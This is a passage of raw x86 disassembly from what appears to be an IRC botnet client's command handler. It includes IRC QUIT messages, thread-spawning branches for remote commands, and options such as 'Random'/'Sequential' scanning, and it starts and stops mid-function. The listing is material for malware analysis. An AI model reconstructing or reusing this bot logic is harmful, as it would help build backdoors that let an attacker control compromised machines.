call dword_4CB978
mov al, [ebp+var_8FF]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call dword_4CBA60
push eax
lea eax, [ebp+var_860]
push eax
call sub_41BFD0
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov esi, eax
lea eax, [ebp+var_860]
push eax
call sub_41C820
add esp, 14h
cmp esi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40391D
loc_4038FB: ; CODE XREF: sub_401ACD+1E4Ej
cmp eax, ebx
jz short loc_40391D
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41C820
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, esi
jl short loc_4038FB
loc_40391D: ; CODE XREF: sub_401ACD+1E2Cj
; sub_401ACD+1E30j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov esi, [ebp+var_4]
mov edi, [ebp+var_8]
mov [ebp+var_750], eax
lea eax, [ebp+var_850]
push 80h
push eax
mov [ebp+var_720], 1
mov [ebp+var_728], esi
mov [ebp+var_724], edi
call sub_41C360
push offset byte_43DB88
push offset aF ; "#f"
call sub_41CA50
add esp, 14h
test eax, eax
jz short loc_40398A
push offset aF ; "#f"
lea eax, [ebp+var_7D0]
push 80h
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_403990
; ---------------------------------------------------------------------------
loc_40398A: ; CODE XREF: sub_401ACD+1EA0j
mov [ebp+var_7D0], bl
loc_403990: ; CODE XREF: sub_401ACD+1EBBj
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039A2
mov eax, offset aSequential ; "Sequential"
loc_4039A2: ; CODE XREF: sub_401ACD+1ECEj
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C2CC
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset loc_40C600
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403A2C
loc_403A1A: ; CODE XREF: sub_401ACD+1F5Dj
cmp [ebp+var_71C], ebx
jnz short loc_403A47
push 32h
call near ptr 2670E97h
nop
jmp short loc_403A1A
; ---------------------------------------------------------------------------
loc_403A2C: ; CODE XREF: sub_401ACD+1F4Bj
call near ptr 2680972h
nop
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C290
push eax
call sub_41C266
add esp, 0Ch
loc_403A47: ; CODE XREF: sub_401ACD+1F53j
cmp edi, ebx
jnz short loc_403A65
push ebx
lea eax, [ebp+var_2C4]
push esi
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403A65: ; CODE XREF: sub_401ACD+1F7Cj
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
pop ecx
loc_403A72: ; CODE XREF: sub_401ACD+1D36j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_4037B5
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_403A86: ; CODE XREF: sub_401ACD+1DAEj
push offset unk_42C258
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_403A90: ; CODE XREF: sub_401ACD+1B05j
; sub_401ACD+1B1Aj
push 5
call sub_40B602
test eax, eax
pop ecx
jle short loc_403AA6
push offset unk_42C238
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_403AA6: ; CODE XREF: sub_401ACD+1FCDj
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jz short loc_403AC9
push eax
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_403ADD
; ---------------------------------------------------------------------------
loc_403AC9: ; CODE XREF: sub_401ACD+1FE2j
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi
push eax
push ebx
call near ptr 2670000h
nop
loc_403ADD: ; CODE XREF: sub_401ACD+1FFAj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403AED
mov esi, offset byte_429108
loc_403AED: ; CODE XREF: sub_401ACD+2019j
push esi
lea eax, [ebp+var_2C50]
push edi
push eax
call sub_41C360
mov eax, dword_429078
push 7Fh
push [ebp+var_88]
mov [ebp+var_2B44], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B48], ebx
mov [ebp+var_2D58], eax
lea eax, [ebp+var_2B40]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_2AC0], eax
mov eax, [ebp+var_8]
mov [ebp+var_2ABC], eax
lea eax, [ebp+var_2D54]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_2B44]
push offset unk_42C204
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 5
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_2B4C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D58]
push ebx
push eax
push offset byte_412197
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_2B4C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403BB9
loc_403BA3: ; CODE XREF: sub_401ACD+20EAj
cmp [ebp+var_2AB8], ebx
jnz loc_4081AD
push 32h
call near ptr 2670E97h
nop
jmp short loc_403BA3
; ---------------------------------------------------------------------------
loc_403BB9: ; CODE XREF: sub_401ACD+20D4j
nop
call near ptr 2680972h
push eax
push offset unk_42C1C8
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_403BCA: ; CODE XREF: sub_401ACD+1ADBj
; sub_401ACD+1AF0j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403BE9
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_403BE9
push edi
call sub_41C159
pop ecx
jmp short loc_403BEE
; ---------------------------------------------------------------------------
loc_403BE9: ; CODE XREF: sub_401ACD+2106j
; sub_401ACD+2111j
mov eax, dword_42907C
loc_403BEE: ; CODE XREF: sub_401ACD+211Aj
mov esi, [ebp+esi+var_88]
mov [ebp+var_36CC], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B8], eax
jz short loc_403C21
lea eax, [ebp+var_37D0]
push esi
push eax
call sub_41C266
pop ecx
pop ecx
jmp short loc_403C4C
; ---------------------------------------------------------------------------
loc_403C21: ; CODE XREF: sub_401ACD+2141j
lea eax, [ebp+var_49F4]
push 104h
push eax
nop
call near ptr 26709F6h
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_49F4]
push eax
call sub_41C3B1
add esp, 14h
loc_403C4C: ; CODE XREF: sub_401ACD+2152j
lea eax, [ebp+var_37D0]
push eax
call sub_41B9C0
cmp [ebp+eax+var_37D1], 5Ch
pop ecx
jnz short loc_403C77
lea eax, [ebp+var_37D0]
push eax
call sub_41B9C0
pop ecx
mov [ebp+eax+var_37D1], bl
loc_403C77: ; CODE XREF: sub_401ACD+2194j
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A58]
mov [ebp+var_3A5C], esi
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36BC], eax
lea eax, [ebp+var_37D0]
mov [ebp+var_36C0], edi
push eax
push [ebp+var_36CC]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C18C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 3
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_36C4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A5C]
push ebx
push eax
push offset sub_40FAD6
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_36C4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403D2B
loc_403D19: ; CODE XREF: sub_401ACD+225Cj
cmp [ebp+var_36B0], ebx
jnz short loc_403D46
push 32h
nop
call near ptr 2670E97h
jmp short loc_403D19
; ---------------------------------------------------------------------------
loc_403D2B: ; CODE XREF: sub_401ACD+224Aj
nop
call near ptr 2680972h
push eax
push offset unk_42C150
loc_403D37: ; CODE XREF: sub_401ACD+23BFj
; sub_401ACD+4BDCj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_403D46: ; CODE XREF: sub_401ACD+2252j
; sub_401ACD+23A3j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
push edi
jmp loc_4071A3
; ---------------------------------------------------------------------------
loc_403D56: ; CODE XREF: sub_401ACD+1AB1j
; sub_401ACD+1AC6j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403D75
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_403D75
push edi
call sub_41C159
pop ecx
jmp short loc_403D7A
; ---------------------------------------------------------------------------
loc_403D75: ; CODE XREF: sub_401ACD+2292j
; sub_401ACD+229Dj
mov eax, dword_429080
loc_403D7A: ; CODE XREF: sub_401ACD+22A6j
mov [ebp+var_1828], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403D91
lea eax, [ebp+var_C4]
loc_403D91: ; CODE XREF: sub_401ACD+22BCj
push eax
lea eax, [ebp+var_1968]
push 40h
push eax
call sub_41C360
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403DB3
mov esi, offset byte_43DB88
loc_403DB3: ; CODE XREF: sub_401ACD+22DFj
push esi
lea eax, [ebp+var_1928]
push 100h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_19E8]
push [ebp+var_88]
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1814], eax
lea eax, [ebp+var_1968]
push eax
mov [ebp+var_19EC], esi
push [ebp+var_1828]
mov [ebp+var_1818], edi
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C114
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 9
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1824], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19EC]
push ebx
push eax
push offset word_41144E
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_1824]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403E80
loc_403E6A: ; CODE XREF: sub_401ACD+23B1j
cmp [ebp+var_1810], ebx
jnz loc_403D46
push 32h
nop
call near ptr 2670E97h
jmp short loc_403E6A
; ---------------------------------------------------------------------------
loc_403E80: ; CODE XREF: sub_401ACD+239Bj
call near ptr 2680972h
nop
push eax
push offset unk_42C0D8
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_403E91: ; CODE XREF: sub_401ACD+1A87j
; sub_401ACD+1A9Cj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403EA4
push esi
call sub_41C159
jmp short loc_403EAB
; ---------------------------------------------------------------------------
loc_403EA4: ; CODE XREF: sub_401ACD+23CDj
push 0Bh
call sub_40B621
loc_403EAB: ; CODE XREF: sub_401ACD+23D5j
cmp eax, ebx
pop ecx
jz loc_409644
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BD1A
jmp loc_404376
; ---------------------------------------------------------------------------
loc_403ECB: ; CODE XREF: sub_401ACD+1A5Dj
; sub_401ACD+1A72j
mov eax, dword_4CB8F0
cmp eax, ebx
jz short loc_403EE8
call eax
test eax, eax
jz short loc_403EE1
push offset unk_42C0B4
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403EE1: ; CODE XREF: sub_401ACD+240Bj
push offset unk_42C088
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403EE8: ; CODE XREF: sub_401ACD+2405j
push offset unk_42C05C
loc_403EED: ; CODE XREF: sub_401ACD+2412j
; sub_401ACD+2419j ...
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
jmp loc_406BFB
; ---------------------------------------------------------------------------
loc_403F03: ; CODE XREF: sub_401ACD+1A33j
; sub_401ACD+1A48j
call sub_40A928
test eax, eax
jz short loc_403F13
push offset unk_42C038
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403F13: ; CODE XREF: sub_401ACD+243Dj
push offset unk_42C00C
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403F1A: ; CODE XREF: sub_401ACD+1A09j
; sub_401ACD+1A1Ej
cmp [ebp+var_8], ebx
jnz short loc_403F39
push ebx
push [ebp+var_4]
push offset dword_42BFF4
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403F39: ; CODE XREF: sub_401ACD+2450j
push ebx
push [ebp+var_4]
call sub_418723
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BFD8
jmp loc_40423F
; ---------------------------------------------------------------------------
loc_403F5B: ; CODE XREF: sub_401ACD+18A0j
; sub_401ACD+18B5j
push 0Ah
call sub_40B602
test eax, eax
pop ecx
jle short loc_403F6E
push offset unk_42BFAC
jmp short loc_403F8F
; ---------------------------------------------------------------------------
loc_403F6E: ; CODE XREF: sub_401ACD+2498j
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A1B1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403F8A
push offset unk_42BF84
jmp short loc_403F8F
; ---------------------------------------------------------------------------
loc_403F8A: ; CODE XREF: sub_401ACD+24B4j
push offset unk_42BF64
loc_403F8F: ; CODE XREF: sub_401ACD+249Fj
; sub_401ACD+24BBj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
loc_403F9D: ; CODE XREF: sub_401ACD+5781j
cmp [ebp+var_8], ebx
jnz short loc_403FBE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_403FB6: ; CODE XREF: sub_401ACD+6DA8j
call sub_409869
add esp, 14h
loc_403FBE: ; CODE XREF: sub_401ACD+24D3j
; sub_401ACD+26B0j ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
jmp loc_4097D1
; ---------------------------------------------------------------------------
loc_403FCF: ; CODE XREF: sub_401ACD+1876j
; sub_401ACD+188Bj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A5C5
jmp loc_404260
; ---------------------------------------------------------------------------
loc_403FE8: ; CODE XREF: sub_401ACD+184Cj
; sub_401ACD+1861j
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416FCF
jmp loc_404260
; ---------------------------------------------------------------------------
loc_404005: ; CODE XREF: sub_401ACD+1822j
; sub_401ACD+1837j
or edi, 0FFFFFFFFh
call near ptr 269083Ah
nop
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_40402E
push esi
call sub_41C159
pop ecx
mov edi, eax
loc_40402E: ; CODE XREF: sub_401ACD+2556j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_404047
cmp edi, 0FFFFFFFFh
jnz loc_409644
loc_404047: ; CODE XREF: sub_401ACD+256Fj
push ebx
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BF4C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
loc_404085: ; CODE XREF: sub_401ACD+51BCj
add esp, 24h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40408D: ; CODE XREF: sub_401ACD+17F8j
; sub_401ACD+180Dj
push 27h
call sub_40B602
test eax, eax
pop ecx
jle short loc_4040BE
cmp [ebp+var_8], ebx
jnz loc_401F75
push ebx
push [ebp+var_4]
push offset unk_42BF2C
loc_4040AB: ; CODE XREF: sub_401ACD+4F88j
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
jmp loc_408C05
; ---------------------------------------------------------------------------
loc_4040BE: ; CODE XREF: sub_401ACD+25CAj
push [ebp+var_88]
lea eax, [ebp+var_BC4]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
mov [ebp+var_B40], ebx
jz short loc_40411F
push esi
push offset aFull ; "full"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40411F
mov [ebp+var_B40], 1
loc_40411F: ; CODE XREF: sub_401ACD+2635j
; sub_401ACD+2646j
lea eax, [ebp+var_2C4]
push offset dword_42BF08
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 27h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset sub_419E38
push ebx
push ebx
call near ptr 2680000h
nop
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40418D
loc_404177: ; CODE XREF: sub_401ACD+26BEj
cmp [ebp+var_B34], ebx
jnz loc_403FBE
push 32h
call near ptr 2670E97h
nop
jmp short loc_404177
; ---------------------------------------------------------------------------
loc_40418D: ; CODE XREF: sub_401ACD+26A8j
nop
call near ptr 2680972h
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BECC
push eax
call sub_41C266
add esp, 0Ch
jmp loc_403FBE
; ---------------------------------------------------------------------------
loc_4041AD: ; CODE XREF: sub_401ACD+17CEj
; sub_401ACD+17E3j
cmp [ebp+var_8], ebx
jnz short loc_4041CC
push ebx
push [ebp+var_4]
push offset unk_42BEB4
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4041CC: ; CODE XREF: sub_401ACD+26E3j
push [ebp+arg_4]
call dword_4CBA6C
call dword_4CB92C
call sub_4188A6
push ebx
nop
call near ptr 77E75CB5h
loc_4041E7: ; CODE XREF: sub_401ACD+17A4j
; sub_401ACD+17B9j
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41AF8F
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BE9C
jmp short loc_40423F
; ---------------------------------------------------------------------------
loc_404212: ; CODE XREF: sub_401ACD+177Aj
; sub_401ACD+178Fj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B243
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BE84
loc_40423F: ; CODE XREF: sub_401ACD+2489j
; sub_401ACD+2743j
call sub_415D38
add esp, 18h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40424C: ; CODE XREF: sub_401ACD+1750j
; sub_401ACD+1765j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415DD8
loc_404260: ; CODE XREF: sub_401ACD+3C8j
; sub_401ACD+2516j ...
add esp, 10h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_404268: ; CODE XREF: sub_401ACD+1726j
; sub_401ACD+173Bj
cmp [ebp+var_C], ebx
mov [ebp+var_1598], bl
jz short loc_4042A7
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4042A7
push esi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042A7
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_1598]
push 80h
push eax
call sub_41C360
add esp, 10h
loc_4042A7: ; CODE XREF: sub_401ACD+27A4j
; sub_401ACD+27AFj ...
push [ebp+var_88]
lea eax, [ebp+var_1618]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_161C], eax
mov eax, [ebp+var_4]
mov [ebp+var_1514], eax
mov eax, [ebp+var_8]
mov [ebp+var_1510], eax
lea eax, [ebp+var_2C4]
push offset dword_42BE6C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 25h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_1518], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_161C]
push ebx
push eax
push offset byte_415E4B
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_1518]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40434A
loc_404334: ; CODE XREF: sub_401ACD+287Bj
cmp [ebp+var_150C], ebx
jnz loc_401F75
push 32h
nop
call near ptr 2670E97h
jmp short loc_404334
; ---------------------------------------------------------------------------
loc_40434A: ; CODE XREF: sub_401ACD+2865j
nop
call near ptr 2680972h
push eax
push offset unk_42BE34
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_40435B: ; CODE XREF: sub_401ACD+16FCj
; sub_401ACD+1711j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415CC0
push offset unk_42BE1C
call sub_415D38
loc_404376: ; CODE XREF: sub_401ACD+23F9j
add esp, 10h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40437E: ; CODE XREF: sub_401ACD+16D2j
; sub_401ACD+16E7j
push [ebp+var_88]
lea eax, [ebp+var_C5C]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_C60], eax
mov eax, [ebp+var_4]
mov [ebp+var_BD4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_BD0], eax
jz short loc_4043D8
push offset dword_42BE18
push esi
call sub_41CA50
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_BD8], eax
jmp short loc_4043DE
; ---------------------------------------------------------------------------
loc_4043D8: ; CODE XREF: sub_401ACD+28EFj
mov [ebp+var_BD8], ebx
loc_4043DE: ; CODE XREF: sub_401ACD+2909j
lea eax, [ebp+var_2C4]
push offset dword_42BDF8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 28h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_BDC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C60]
push ebx
push eax
push offset byte_40B425
push ebx
push ebx
call near ptr 2680000h
nop
mov ecx, [ebp+var_BDC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40444C
loc_404436: ; CODE XREF: sub_401ACD+297Dj
cmp [ebp+var_BCC], ebx
jnz loc_406C1F
push 32h
nop
call near ptr 2670E97h
jmp short loc_404436
; ---------------------------------------------------------------------------
loc_40444C: ; CODE XREF: sub_401ACD+2967j
nop
call near ptr 2680972h
push eax
push offset unk_42BDBC
jmp loc_409091
; ---------------------------------------------------------------------------
loc_40445D: ; CODE XREF: sub_401ACD+1656j
; sub_401ACD+166Bj
push offset aSbrsfgf ; "sbrsfgf"
push offset unk_42BDA4
loc_404467: ; CODE XREF: sub_401ACD+29D9j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_404494: ; CODE XREF: sub_401ACD+162Cj
; sub_401ACD+1641j
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
push offset unk_42BD78
jmp short loc_404467
; ---------------------------------------------------------------------------
loc_4044A8: ; CODE XREF: sub_401ACD+1602j
; sub_401ACD+1617j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4044DA
cmp [ebp+var_C], ebx
jz short loc_4044E9
push esi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4044E9
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
jmp short loc_4044E9
; ---------------------------------------------------------------------------
loc_4044DA: ; CODE XREF: sub_401ACD+29E4j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
pop ecx
loc_4044E9: ; CODE XREF: sub_401ACD+29E9j
; sub_401ACD+29F8j ...
push 0FFFFFFFEh
jmp loc_401F77
; ---------------------------------------------------------------------------
loc_4044F0: ; CODE XREF: sub_401ACD+15D8j
; sub_401ACD+15EDj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_409823
push offset unk_42BD28
call sub_415D38
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_404512: ; CODE XREF: sub_401ACD+15AEj
; sub_401ACD+15C3j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
push offset unk_42BCF8
call sub_415D38
add esp, 0Ch
jmp loc_4095AD
; ---------------------------------------------------------------------------
loc_404531: ; CODE XREF: sub_401ACD+1584j
; sub_401ACD+1599j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA9E
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404547: ; CODE XREF: sub_401ACD+155Aj
; sub_401ACD+156Fj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA49
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_40455D: ; CODE XREF: sub_401ACD+1530j
; sub_401ACD+1545j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B9DD
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404573: ; CODE XREF: sub_401ACD+1506j
; sub_401ACD+151Bj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B90E
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404589: ; CODE XREF: sub_401ACD+1461j
; sub_401ACD+1476j
push [ebp+esi+var_8C]
push 27h
push offset dword_42BCE8
push offset dword_42BCD8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4045A1: ; CODE XREF: sub_401ACD+1437j
; sub_401ACD+144Cj
push [ebp+esi+var_8C]
push 24h
push offset dword_42BCCC
push offset dword_42BCBC
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4045B9: ; CODE XREF: sub_401ACD+1050j
; sub_401ACD+1065j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_4045D8
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_4045D8
push edi
call sub_41C159
pop ecx
jmp short loc_4045DD
; ---------------------------------------------------------------------------
loc_4045D8: ; CODE XREF: sub_401ACD+2AF5j
; sub_401ACD+2B00j
mov eax, dword_429074
loc_4045DD: ; CODE XREF: sub_401ACD+2B09j
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404602
push esi
loc_4045EF: ; CODE XREF: sub_401ACD+2B44j
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_404619
; ---------------------------------------------------------------------------
loc_404602: ; CODE XREF: sub_401ACD+2B1Fj
cmp [ebp+var_8FF], bl
jz short loc_404613
lea eax, [ebp+var_C4]
push eax
jmp short loc_4045EF
; ---------------------------------------------------------------------------
loc_404613: ; CODE XREF: sub_401ACD+2B3Bj
mov [ebp+var_5A0], bl
loc_404619: ; CODE XREF: sub_401ACD+2B33j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41C360
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BC94
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 19h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset word_411BCE
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4046CA
loc_4046B4: ; CODE XREF: sub_401ACD+2BFBj
cmp [ebp+var_57C], ebx
jnz loc_401F75
push 32h
nop
call near ptr 2670E97h
jmp short loc_4046B4
; ---------------------------------------------------------------------------
loc_4046CA: ; CODE XREF: sub_401ACD+2BE5j
nop
call near ptr 2680972h
push eax
push offset dword_42BC58
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_4046DB: ; CODE XREF: sub_401ACD+FFDj
; sub_401ACD+1012j
